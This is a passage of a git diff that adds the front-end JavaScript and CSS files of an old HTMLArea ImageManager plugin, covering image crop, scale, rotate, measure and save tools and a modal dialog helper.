+                break;
+            case "e-resize":
+                if(oa_w + w >= 0)
+                               {
+                    ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                                       {
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                        ant.style.top = oa_y - rapp_inv * w/2;
+                    }
+
+                               }
+                break;
+            case "n-resize":
+                if (oa_h - h >= 0)
+                {
+                    ant.style.top = oa_y + h;
+                    ant.style.height = oa_h - h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h - h) ;
+                        ant.style.left = oa_x + rapp * h/2;
+                    }
+
+                }
+                break;
+            case "w-resize":
+                if(oa_w - w >= 0) 
+                               {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.height = rapp_inv * (oa_w - w) ;
+                                               ant.style.top = oa_y + rapp_inv * w/2;
+                    }
+
+                }break;
+            case "nw-resize":
+                if(oa_h - h >= 0 && oa_w - w >= 0) {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                    ant.style.top = oa_y + h;
+                    if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+            break;
+            case "ne-resize":
+                if (oa_h - h >= 0 && oa_w + w >= 0){
+                    ant.style.top = oa_y + h;
+                                       ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+                break;
+            case "se-resize":
+                if (oa_h + h >= 0 && oa_w + w >= 0) 
+                {
+                    ant.style.width = oa_w + w;
+                    if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h + h;
+                }
+                break;
+            case "sw-resize":
+                if (oa_h + h >= 0 && oa_w - w >= 0)
+                {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                       ant.style.height = oa_h + h;
+                               }
+        }
+        
+        showStatus();
+        return false;
+        
+    }
+}
+
+function drags(e)
+{
+    if (!ie&&!ns6)
+        return
+    
+    var firedobj=ns6? e.target : event.srcElement
+    var topelement=ns6? "HTML" : "BODY"
+
+    while (firedobj.tagName!=topelement&&
+            !(firedobj.className=="crop" 
+                || firedobj.className=="handleBox" 
+                || firedobj.className=="selection" || firedobj.className=="selectionWhite"))
+    {
+        firedobj=ns6? firedobj.parentNode : firedobj.parentElement
+    }
+
+    if(firedobj.className=="handleBox") {
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        resizeHandle = firedobj.id;
+        
+        /*if(status!=null) {
+            status.innerHTML  = " obj:"+firedobj.id;
+        }*/
+
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+
+        oa_w = parseInt(ant.style.width);
+        oa_h = parseInt(ant.style.height);
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveHandle;
+        return false;
+    }
+    else
+    if((firedobj.className == "selection" || firedobj.className=="selectionWhite")&& mode == "crop") {
+        
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveContent;
+        return false;
+    }
+    else
+    if (firedobj.className=="crop" && mode == "crop")
+    {
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+
+        if (status == null)
+            status = MM_findObj("status");
+
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+        if(content == null) {
+            content = MM_findObj("cropContent");
+        }
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+
+        ant.style.visibility = "visible";
+
+        obj = firedobj;
+        dragapproved=true
+        z=firedobj
+        temp1=parseInt(z.style.left+0)
+        temp2=parseInt(z.style.top+0)
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        document.onmousemove=move
+        return false
+    }
+        else if(firedobj.className=="crop" && mode == "measure") {
+
+            if (ant == null)
+                ant = MM_findObj("ant");
+
+            if (canvas == null)
+                canvas = MM_findObj("imgCanvas");
+
+            x=ns6? e.clientX: event.clientX
+            y=ns6? e.clientY: event.clientY
+
+                //jg_doc.draw
+            dragapproved=true
+            document.onmousemove=measure
+
+            return false
+        }
+}
+
+function measure(e) 
+{
+    if (dragapproved)
+    {
+        mx2 = ns6? e.clientX : event.clientX;
+        my2 = ns6? e.clientY : event.clientY;
+        
+        jg_doc.clear();
+        jg_doc.setStroke(Stroke.DOTTED); 
+        jg_doc.drawLine(x,y,mx2,my2);
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+}
+
+function setMarker(nx,ny,nw,nh) 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if (canvas == null)
+        canvas = MM_findObj("imgCanvas");
+    if(content == null) {
+        content = MM_findObj("cropContent");
+    }
+
+    if (pic_width == null || pic_height == null)
+    {
+        image = MM_findObj("theImage");
+        pic_width = image.width;
+        pic_height = image.height;
+    }
+
+    ant.style.visibility = "visible";
+
+    nx = pic_x + nx;
+    ny = pic_y + ny;
+
+    if (nw >= 0)
+    {
+        ant.style.left = nx;
+        ant.style.width = nw;
+    }
+    else
+    {
+        ant.style.left = nx+nw;
+        ant.style.width = -1*nw;
+    }
+
+    if (nh >= 0)
+    {
+        ant.style.top = ny;
+        ant.style.height = nh;
+    }
+    else
+    {
+        ant.style.top = ny+nh;
+        ant.style.height = -1*nh
+    }
+
+    
+}
+
+function max(x,y) 
+{
+    if(y > x)
+        return x;
+    else 
+        return y;
+}
+
+function drawBoundHandle() 
+{
+    if(ant == null || ant.style == null) 
+        return false;
+
+    var ah = parseInt(ant.style.height);
+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    jg_doc.drawHandle(ax-15,ay-15,30,30,"nw-resize"); //upper left
+    jg_doc.drawHandle(ax-15,ay+ah-15,30,30,"sw-resize"); //lower left
+    jg_doc.drawHandle(ax+aw-15,ay-15,30,30,"ne-resize"); //upper right
+    jg_doc.drawHandle(ax+aw-15,ay+ah-15,30,30,"se-resize"); //lower right
+
+    jg_doc.drawHandle(ax+max(15,aw/10),ay-8,aw-2*max(15,aw/10),8,"n-resize"); //top middle
+    jg_doc.drawHandle(ax+max(15,aw/10),ay+ah,aw-2*max(15,aw/10),8,"s-resize"); //bottom middle
+    jg_doc.drawHandle(ax-8, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"w-resize"); //left middle
+    jg_doc.drawHandle(ax+aw, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"e-resize"); //right middle
+
+
+
+    jg_doc.drawHandleBox(ax-4,ay-4,8,8,"nw-resize"); //upper left
+    jg_doc.drawHandleBox(ax-4,ay+ah-4,8,8,"sw-resize"); //lower left
+    jg_doc.drawHandleBox(ax+aw-4,ay-4,8,8,"ne-resize"); //upper right
+    jg_doc.drawHandleBox(ax+aw-4,ay+ah-4,8,8,"se-resize"); //lower right
+
+    jg_doc.drawHandleBox(ax+aw/2-4,ay-4,8,8,"n-resize"); //top middle
+    jg_doc.drawHandleBox(ax+aw/2-4,ay+ah-4,8,8,"s-resize"); //bottom middle
+    jg_doc.drawHandleBox(ax-4, ay+ah/2-4,8,8,"w-resize"); //left middle
+    jg_doc.drawHandleBox(ax+aw-4, ay+ah/2-4,8,8,"e-resize"); //right middle
+
+    //jg_doc.paint();
+}
+
+function showStatus() 
+{
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        //alert(pic_x);
+        mx1 = x - pic_x;
+        my1 = y - pic_y;
+
+        mw = mx2 - x;
+        mh = my2 - y;
+
+        md = parseInt(Math.sqrt(mw*mw + mh*mh)*100)/100;
+
+        ma = (Math.atan(-1*mh/mw)/Math.PI)*180;
+        if(mw < 0 && mh < 0)
+            ma = ma+180;
+
+        if (mw <0 && mh >0)
+            ma = ma - 180;
+
+        ma = parseInt(ma*100)/100;
+
+        if (m_sx != null && !isNaN(mx1))
+            m_sx.value = mx1+"px";
+        if (m_sy != null && !isNaN(my1))
+            m_sy.value = my1+"px";
+        if(m_w != null && !isNaN(mw))
+            m_w.value = mw + "px";
+        if(m_h != null && !isNaN(mh))
+            m_h.value = mh + "px";
+
+        if(m_d != null && !isNaN(md))
+            m_d.value = md + "px";
+        if(m_a != null && !isNaN(ma))
+            m_a.value = ma + "";
+
+        if(r_ra != null &&!isNaN(ma))
+            r_ra.value = ma;            
+
+        //alert("mx1:"+mx1+" my1"+my1);
+        return false;
+    }
+
+    var ah = parseInt(ant.style.height);
+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    var cx = ax-pic_x<0?0:ax-pic_x;
+    var cy = ay-pic_y<0?0:ay-pic_y;
+    cx = cx>pic_width?pic_width:cx;
+    cy = cy>pic_height?pic_height:cy;
+    
+    var cw = ax-pic_x>0?aw:aw-(pic_x-ax);
+    var ch = ay-pic_y>0?ah:ah-(pic_y-ay);
+
+    ch = ay+ah<pic_y+pic_height?ch:ch-(ay+ah-pic_y-pic_height);
+    cw = ax+aw<pic_x+pic_width?cw:cw-(ax+aw-pic_x-pic_width);
+
+    ch = ch<0?0:ch; cw = cw<0?0:cw;
+    
+    if (ant.style.visibility == "hidden")
+    {
+        cx = ""; cy = ""; cw=""; ch="";
+    }
+
+    if(mode == 'crop') {
+        if(t_cx != null)
+            t_cx.value = cx;
+        if (t_cy != null)   
+            t_cy.value = cy;
+        if(t_cw != null)
+            t_cw.value = cw;
+        if (t_ch != null)   
+            t_ch.value = ch;
+    }
+    else if(mode == 'scale') {
+
+        var sw = aw, sh = ah;
+
+        if (s_sw.value.indexOf('%')>0 && s_sh.value.indexOf('%')>0)
+        {   
+            sw = cw/pic_width;
+            sh = ch/pic_height;
+        }
+        if (s_sw != null)
+            s_sw.value = sw;
+        if (s_sh != null)
+            s_sh.value = sh;
+    }
+
+}
+
+function dragStopped()
+{
+    dragapproved=false;
+
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        jg_doc.drawLine(x-4,y,x+4,y);
+        jg_doc.drawLine(x,y-4,x,y+4);
+        jg_doc.drawLine(mx2-4,my2,mx2+4,my2);
+        jg_doc.drawLine(mx2,my2-4,mx2,my2+4);
+
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+        var ah = parseInt(ant.style.height);
+        var aw = parseInt(ant.style.width);
+        var ax = parseInt(ant.style.left);
+        var ay = parseInt(ant.style.top);
+        jg_doc.clear();
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = aw-1;
+                content.height = ah-1;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        if(mode == "crop") {
+            //alert(pic_y);
+            jg_doc.fillRectPattern(pic_x,pic_y,pic_width,ay-pic_y,pattern);
+            
+            var h1 = ah;
+            var y1 = ay;
+            if (ah+ay >= pic_height+pic_y)
+                h1 = pic_height+pic_y-ay;
+            else if (ay <= pic_y)
+            {
+                h1 = ay+ah-pic_y;
+                y1 = pic_y;
+            }
+            jg_doc.fillRectPattern(pic_x,y1,ax-pic_x,h1,pattern);
+            jg_doc.fillRectPattern(ax+aw,y1,pic_x+pic_width-ax-aw,h1,pattern);
+            jg_doc.fillRectPattern(pic_x,ay+ah,pic_width,pic_height+pic_y-ay-ah,pattern);
+        }
+        else if(mode == "scale") {
+            //alert("Resizing: iw:"+image.width+" nw:"+aw);
+            document.theImage.height = ah;
+            document.theImage.width = aw;
+            document.theImage.style.height = ah+" px";
+            document.theImage.style.width = aw+" px";
+
+            P7_Snap('theImage','ant',0,0);
+
+            //alert("After Resizing: iw:"+image.width+" nw:"+aw);
+        }
+
+        drawBoundHandle();
+        jg_doc.paint();
+    
+        showStatus();
+    return false;
+}
+
+document.onmousedown=drags
+document.onmouseup=dragStopped;
+
diff --git a/admin/htmlarea/plugins/ImageManager/assets/ImageEditor.css b/admin/htmlarea/plugins/ImageManager/assets/ImageEditor.css
new file mode 100755 (executable)
index 0000000..7cefe46
--- /dev/null
@@ -0,0 +1,76 @@
+.icons {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #EEEEFF;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+
+body, td, p {
+    font: 11px Tahoma,Verdana,sans-serif;
+}
+.iconsOver {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    background-color: #F9F9FF;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.topBar {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+}
+.iconsSel {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.iconText {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-decoration: none;
+    text-align: center;
+}
+.measureStats{
+    width: 50px;
+}
+
+#slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+}
+
+
+#slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+#sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
diff --git a/admin/htmlarea/plugins/ImageManager/assets/dialog.js b/admin/htmlarea/plugins/ImageManager/assets/dialog.js
new file mode 100755 (executable)
index 0000000..e82769c
--- /dev/null
@@ -0,0 +1,111 @@
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object.  Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+       if (typeof init == "undefined") {
+               init = window;  // pass this window object by default
+       }
+       Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+       setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+       if (Dialog._modal && !Dialog._modal.closed) {
+               Dialog._stopEvent(ev);
+       }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+       //var urlLink = "hadialog"+url.toString();
+       var myURL = "hadialog"+url;
+       var regObj = /\W/g;
+       myURL = myURL.replace(regObj,'_');
+       var dlg = window.open(url, myURL,
+                             "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+                             "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+       Dialog._modal = dlg;
+       Dialog._arguments = init;
+
+       // capture some window's events
+       function capwin(w) {
+               Dialog._addEvent(w, "click", Dialog._parentEvent);
+               Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._addEvent(w, "focus", Dialog._parentEvent);
+       };
+       // release the captured events
+       function relwin(w) {
+               Dialog._removeEvent(w, "click", Dialog._parentEvent);
+               Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+       };
+       capwin(window);
+       // capture other frames
+       for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+       // make up a function to be called when the Dialog ends.
+       Dialog._return = function (val) {
+               if (val && action) {
+                       action(val);
+               }
+               relwin(window);
+               // capture other frames
+               for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+               Dialog._modal = null;
+       };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.attachEvent("on" + evname, func);
+       } else {
+               el.addEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.detachEvent("on" + evname, func);
+       } else {
+               el.removeEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._stopEvent = function(ev) {
+       if (Dialog.is_ie) {
+               ev.cancelBubble = true;
+               ev.returnValue = false;
+       } else {
+               ev.preventDefault();
+               ev.stopPropagation();
+       }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/admin/htmlarea/plugins/ImageManager/assets/editor.css b/admin/htmlarea/plugins/ImageManager/assets/editor.css
new file mode 100755 (executable)
index 0000000..64db6dc
--- /dev/null
@@ -0,0 +1,194 @@
+               body
+               {
+                       margin: 0; padding: 0;
+                       font: 11px Tahoma,Verdana,sans-serif;
+               }
+               select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+
+               #indicator
+               {
+                       width: 25px;
+                       height: 20px;
+                       background-color: #eef;                 
+                       padding: 15px 20px;
+                       position: absolute;
+                       left: 0; top: 0;
+               }
+               * html #indicator
+               {
+                       padding: 14px 22px;
+               }
+               #tools
+               {
+                       width: 600px;
+                       height: 50px;
+                       background-color: #eef;
+                       padding: 0;
+                       position: absolute;
+                       left: 63px;
+                       border-left: 1px solid white;
+                       border-bottom: 1px solid white;
+               }
+               #toolbar
+               {
+                       width: 53px;
+                       height: 435px;
+                       background-color: #eef;
+                       float: left;
+                       text-align: center;
+                       padding: 5px;
+                       position: absolute;
+                       top: 50px;
+                       border-top: 1px solid white;
+                       border-right: 1px solid white;
+               }
+               
+               #contents
+               {
+                       width: 600px;
+                       height: 445px;
+                       position: absolute;
+                       left: 64px; top: 51px;
+               }
+               
+               #editor
+               {
+                       width: 600px;
+                       height: 445px;
+               }
+
+               #toolbar a 
+               {
+                       padding: 5px;
+                       width: 40px;
+                       display: block;
+                       border: 1px solid #eef;
+                       text-align: center;
+                       text-decoration: none;
+                       color: #669;
+                       margin: 5px 0;
+               }
+               #toolbar a:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+               
+               #toolbar a.iconActive
+               {
+                       border-color: #669;
+               }
+
+               #toolbar a span
+               {
+                       display: block;
+                       text-decoration: none;
+                       
+               }
+               #toolbar a img
+               {
+                       border: 0 none;
+               }
+               
+               #tools .textInput
+               {
+                       width: 3em;
+                       vertical-align: 0px;
+
+               }
+               * html #tools .textInput
+               {
+                       vertical-align: middle;
+               }
+               #tools .measureStats
+               {
+                       width: 4.5em;
+                       border: 0 none;
+                       background-color: #eef;
+                       vertical-align: 0px;
+               }
+               * html #tools .measureStats
+               {
+                       vertical-align: middle;
+               }
+               #tools label
+               {
+                       margin: 0 2px 0 5px;
+               }
+               #tools input
+               {
+                       vertical-align: middle;
+               }
+               #tools #tool_inputs
+               {
+                       padding-top: 10px;
+                       float: left;                    
+               }
+               #tools .div
+               {
+                       vertical-align: middle;
+                       margin: 0 5px;
+               }
+               #tools img
+               {
+                       border: 0 none;
+               }
+               #tools a.buttons
+               {
+                       margin-top: 10px;
+                       border: 1px solid #eef;
+                       display: block;
+                       float: left;
+               }
+               #tools a.buttons:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+               #slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+        top: 6px;
+        margin: 0 -5px 0 -10px;
+
+       
+}
+
+
+#slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+#sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+* html #slidercasing
+{
+       top:0;
+}
+
+
+#bottom
+{
+       position: relative;
+       top: 490px;
+}
diff --git a/admin/htmlarea/plugins/ImageManager/assets/editor.js b/admin/htmlarea/plugins/ImageManager/assets/editor.js
new file mode 100755 (executable)
index 0000000..064012a
--- /dev/null
@@ -0,0 +1,172 @@
+/**
+ * Functions for the ImageEditor interface, used by editor.php only    
+ * @author $Author: cscott $
+ * @version $Id: editor.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+       var current_action = null;
+       var actions = ['crop', 'scale', 'rotate', 'measure', 'save'];
+       var orginal_width = null, orginal_height=null;
+       function toggle(action) 
+       {
+               if(current_action != action)
+               {
+
+                       for (var i in actions)
+                       {
+                               if(actions[i] != action)
+                               {
+                                       var tools = document.getElementById('tools_'+actions[i]);
+                                       tools.style.display = 'none';
+                                       var icon = document.getElementById('icon_'+actions[i]);
+                                       icon.className = '';
+                               }
+                       }
+
+                       current_action = action;
+                       
+                       var tools = document.getElementById('tools_'+action);
+                       tools.style.display = 'block';
+                       var icon = document.getElementById('icon_'+action);
+                       icon.className = 'iconActive';
+
+                       var indicator = document.getElementById('indicator_image');
+                       indicator.src = 'img/'+action+'.gif';
+
+                       editor.setMode(current_action);
+
+                       //constraints on the scale,
+                       //code by Frédéric Klee <fklee@isuisse.com>
+                       if(action == 'scale') 
+                       {
+                               var theImage = editor.window.document.getElementById('theImage');
+                               orginal_width = theImage.width ;
+                               orginal_height = theImage.height;
+
+                var w = document.getElementById('sw');
+                               w.value = orginal_width ;
+                               var h = document.getElementById('sh') ;
+                               h.value = orginal_height ;
+                       }
+
+               }
+       }
+
+       function toggleMarker() 
+       {
+               var marker = document.getElementById("markerImg");
+               
+               if(marker != null && marker.src != null) {
+                       if(marker.src.indexOf("t_black.gif") >= 0)
+                               marker.src = "img/t_white.gif";
+                       else
+                               marker.src = "img/t_black.gif";
+
+                       editor.toggleMarker();
+               }
+       }
+
+       //Togggle constraints, by Frédéric Klee <fklee@isuisse.com>
+       function toggleConstraints() 
+       {
+               var lock = document.getElementById("scaleConstImg");
+               var checkbox = document.getElementById("constProp");
+               
+               if(lock != null && lock.src != null) {
+                       if(lock.src.indexOf("unlocked2.gif") >= 0)
+                       {
+                               lock.src = "img/islocked2.gif";
+                               checkbox.checked = true;
+                               checkConstrains('width');
+
+                       }
+                       else
+                       {
+                               lock.src = "img/unlocked2.gif";
+                               checkbox.checked = false;
+                       }
+               }
+       }
+       
+       //check the constraints, by Frédéric Klee <fklee@isuisse.com>
+       function checkConstrains(changed) 
+       {
+               var constrained = document.getElementById('constProp');
+               if(constrained.checked) 
+               {
+                       var w = document.getElementById('sw') ;
+                       var width = w.value ;
+                       var h = document.getElementById('sh') ;
+                       var height = h.value ;
+                       
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) 
+                                       h.value = parseInt((width/orginal_width)*orginal_height);
+                               else if(changed == 'height' && height > 0) 
+                                       w.value = parseInt((height/orginal_height)*orginal_width);
+                       }
+               }
+               
+               updateMarker('scale') ;
+       }
+
+
+       function updateMarker(mode) 
+       {
+               if (mode == 'crop')
+               {
+                       var t_cx = document.getElementById('cx');
+                       var t_cy = document.getElementById('cy');
+                       var t_cw = document.getElementById('cw');
+                       var t_ch = document.getElementById('ch');
+
+                       editor.setMarker(parseInt(t_cx.value), parseInt(t_cy.value), parseInt(t_cw.value), parseInt(t_ch.value));
+               }
+               else if(mode == 'scale') {
+                       var s_sw = document.getElementById('sw');
+                       var s_sh = document.getElementById('sh');
+                       editor.setMarker(0, 0, parseInt(s_sw.value), parseInt(s_sh.value));
+               }
+       }
+
+       
+       function rotatePreset(selection) 
+       {
+               var value = selection.options[selection.selectedIndex].value;
+               
+               if(value.length > 0 && parseInt(value) != 0) {
+                       var ra = document.getElementById('ra');
+                       ra.value = parseInt(value);
+               }
+       }
+
+       function updateFormat(selection) 
+       {
+               var selected = selection.options[selection.selectedIndex].value;
+
+               var values = selected.split(",");
+               if(values.length >1) {
+                       updateSlider(parseInt(values[1]));
+               }
+
+       }
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       init = function()
+       {
+               var bottom = document.getElementById('bottom');
+               if(window.opener)
+               {
+                       __dlg_init(bottom);
+                       __dlg_translate(I18N);
+               }
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/assets/editorFrame.css b/admin/htmlarea/plugins/ImageManager/assets/editorFrame.css
new file mode 100755 (executable)
index 0000000..b963710
--- /dev/null
@@ -0,0 +1,8 @@
+body { margin: 0; padding: 0;  background-color: #eee; }
+table { width: 100%; }
+table td { text-align: center; }
+.crop{cursor:crosshair;}
+.selection { border: dotted 1px #000000; position:absolute; width: 0px; height: 1px; z-index:5; }
+.selectionWhite{ border: dotted 1px #FFFFFF; position:absolute; width: 0px; height: 1px; z-index:5; }
+.handleBox{ z-index:105; }
+.error { font-size:large; font-weight:bold; color:#c00; font-family: Helvetica, sans-serif; } 
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/assets/editorFrame.js b/admin/htmlarea/plugins/ImageManager/assets/editorFrame.js
new file mode 100755 (executable)
index 0000000..f2f92bc
--- /dev/null
@@ -0,0 +1,96 @@
+/**
+ * Javascript used by the editorFrame.php, it basically initializes the frame.
+ * @author $Author: cscott $
+ * @version $Id: editorFrame.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+var topDoc = window.top.document;
+
+var t_cx = topDoc.getElementById('cx');
+var t_cy = topDoc.getElementById('cy');
+var t_cw = topDoc.getElementById('cw');
+var t_ch = topDoc.getElementById('ch');
+
+var m_sx = topDoc.getElementById('sx');
+var m_sy = topDoc.getElementById('sy');
+var m_w = topDoc.getElementById('mw');
+var m_h = topDoc.getElementById('mh');
+var m_a = topDoc.getElementById('ma');
+var m_d = topDoc.getElementById('md');
+
+var s_sw = topDoc.getElementById('sw');
+var s_sh = topDoc.getElementById('sh');
+
+var r_ra = topDoc.getElementById('ra');
+
+var pattern = "img/2x2.gif";
+
+function doSubmit(action)
+{
+    if (action == 'crop')
+    {
+        var url = "editorFrame.php?img="+currentImageFile+"&action=crop&params="+parseInt(t_cx.value)+','+parseInt(t_cy.value)+','+ parseInt(t_cw.value)+','+parseInt(t_ch.value);
+
+        //alert(url);
+        location.href = url;
+
+        //location.reload();
+    }   
+    else if (action == 'scale')
+    {
+        var url = "editorFrame.php?img="+currentImageFile+"&action=scale&params="+parseInt(s_sw.value)+','+parseInt(s_sh.value);
+        //alert(url);
+        location.href = url;
+        
+    }
+    else if (action == 'rotate')
+    {
+        var flip = topDoc.getElementById('flip');
+
+        if(flip.value == 'hoz' || flip.value == 'ver') 
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=flip&params="+flip.value;
+        else if (isNaN(parseFloat(r_ra.value))==false)
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=rotate&params="+parseFloat(r_ra.value);
+    }
+    else if(action == 'save') {
+        var s_file = topDoc.getElementById('save_filename');
+        var s_format = topDoc.getElementById('save_format');
+        var s_quality = topDoc.getElementById('quality');
+
+        var format = s_format.value.split(",");
+        if(s_file.value.length <= 0) 
+               {
+            alert(i18n('Please enter a filename to save.'));
+        }
+        else
+        {
+            var filename = encodeURI(s_file.value);
+            var quality = parseInt(s_quality.value);
+            var url = "editorFrame.php?img="+currentImageFile+"&action=save&params="+format[0]+","+quality+"&file="+filename;
+            //alert(url);
+            location.href = url;
+        }
+    }
+}
+
+
+function addEvent(obj, evType, fn)
+{ 
+       if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+       else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+       else {  return false; } 
+} 
+
+var jg_doc
+
+init = function()
+{
+       jg_doc = new jsGraphics("imgCanvas"); // draw directly into document
+       jg_doc.setColor("#000000"); // black
+
+       initEditor();
+}
+
+addEvent(window, 'load', init);
+
diff --git a/admin/htmlarea/plugins/ImageManager/assets/hover.htc b/admin/htmlarea/plugins/ImageManager/assets/hover.htc
new file mode 100755 (executable)
index 0000000..555d820
--- /dev/null
@@ -0,0 +1,34 @@
+<attach event="onmouseover" handler="hoverRollOver" />
+<attach event="onmouseout" handler="hoverRollOff" />
+<script type="text/javascript">
+//
+//     Simple behaviour for IE5+ to emulate :hover CSS pseudo-class.
+//  Experimental ver 0.1
+//
+//     This is an experimental version! Handle with care!
